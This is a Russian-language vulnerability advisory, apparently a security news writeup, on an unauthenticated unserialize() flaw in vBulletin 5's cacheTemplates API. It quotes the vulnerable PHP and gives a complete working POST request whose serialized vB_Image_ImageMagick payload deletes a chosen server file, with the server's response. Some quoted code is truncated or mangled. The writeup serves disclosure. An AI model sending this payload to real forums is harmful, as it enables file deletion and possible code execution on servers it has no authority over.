Обнаружена уязвимость, которая приводит к удалению файлов и, при определенных обстоятельствах, выполнению произвольного кода, выявленного в vBulletin версии 5.

vBulletin, разработанный vBulletin Solutions, Inc. на базе сервера баз данных PHP и MySQL, является широко распространенным проприетарным программным пакетом интернет-форума и поддерживает более 100 000 социальных сайтов в Интернете.

Небезопасное использование unserialize () для PHP, вводимого пользователем, позволяет злоумышленнику, не прошедшему проверку подлинности, удалять файлы и выполнять произвольный код.

vB_Library_Template - функция cacheTemplates (), представляющая собой публично открытый API, который позволяет извлекать информацию из набора заданных шаблонов из базы данных, чтобы хранить их внутри переменной кэша.

Ядро файла core/vb/api/template.php - функция cacheTemplates().

Параметры template.php
public function cacheTemplates($templates, $templateidlist, $skip_bbcode_style = false,
$force_set = false)
{
return vB_Library::instance('template')->cacheTemplates($templates, $templateidlist, $skip_bbcode_style, $for

Let’s take a look at $templateidlist — core/vb/library/template.php — function cacheTemplates():

public function cacheTemplates($templates, $templateidlist, $skip_bbcode_style = false,
$force_set = false)
{
$vboptions = vB::getDatastore()
// vB_Library_Style::switchCssStyle() may pass us a templateidlist that's already unserialized.
if (!is_array($templateidlist))
{
  $templateidlist = unserialize($templateidlist);
}
foreach ($templates AS $template)
{
  if (isset($templateidlist[$template]))
  {
   $templateids[] = intval($templateidlist[$template]);
  }
}
if (!empty($templateids))
{
  $temps = vB::getDbAssertor(array('title', 'textonly', 'template_un', 'template'));
  // cache templates
  foreach ($temps as $temp)
  {
   if (empty(self::$templatecache["$temp[title]"]) OR $force_set)
   {
    self::$templatecache["$temp[title]"] = $this;
   }
  }
}
if (!$skip_bbcode_style)
{
  self::$bbcode_style = array(
   'code' => &$templateassoc['bbcode_code_styleid'],
   'html' => &$templateassoc['bbcode_html_styleid'],
   'php' => &$templateassoc['bbcode_php_styleid'],
   'quote' => &$templateassoc['bbcode_quote_styleid']
  );
}
}

Переменная $temnplateidlist, которая может поступать непосредственно из пользовательского ввода, напрямую передается unserialize(), что приводит к произвольному примитиву десериализации.

Пример эксплуатации уязвимости

Отправляя следующий POST запрос, злоумышленник, не прошедший проверку подлинности, может удалять файлы с сервера-жертвы:

POST /vb533/ajax/api/template/cacheTemplates HTTP/1.1
Host: vb533.test
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/61.0.3163.100 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.8,en-US;q=0.6,en;q=0.4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
  
templates[]=1&templateidlist=O:20:"vB_Image_ImageMagick":1:{s:20:"%00*%00imagefilelocation";s:13:"/path/to/file";}

Ответ сервера:

HTTP/1.1 200 OK
Date: Fri, 27 Oct 2017 09:27:52 GMT
Server: Apache/2.4.18 (Ubuntu)
Set-Cookie: sessionhash=409d8f4b16ebb55471e63509834d0eff; path=/; HttpOnly
Set-Cookie: lastvisit=1509096472; path=/; HttpOnly
Set-Cookie: lastactivity=1509096472; path=/; HttpOnly
Set-Cookie: sessionhash=44b1e8d2d433031ec2501649630dd8bf; path=/; HttpOnly
Cache-Control: max-age=0,no-cache,no-store,post-check=0,pre-check=0
Expires: Sat, 1 Jan 2000 01:00:00 GMT
Last-Modified: Fri, 27 Oct 2017 09:27:52 GMT
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 2101
Connection: close
Content-Type: application/json; charset=UTF-8
  
{"errors":[["unexpected_error","Cannot use object of type vB_Image_ImageMagick as array"]]}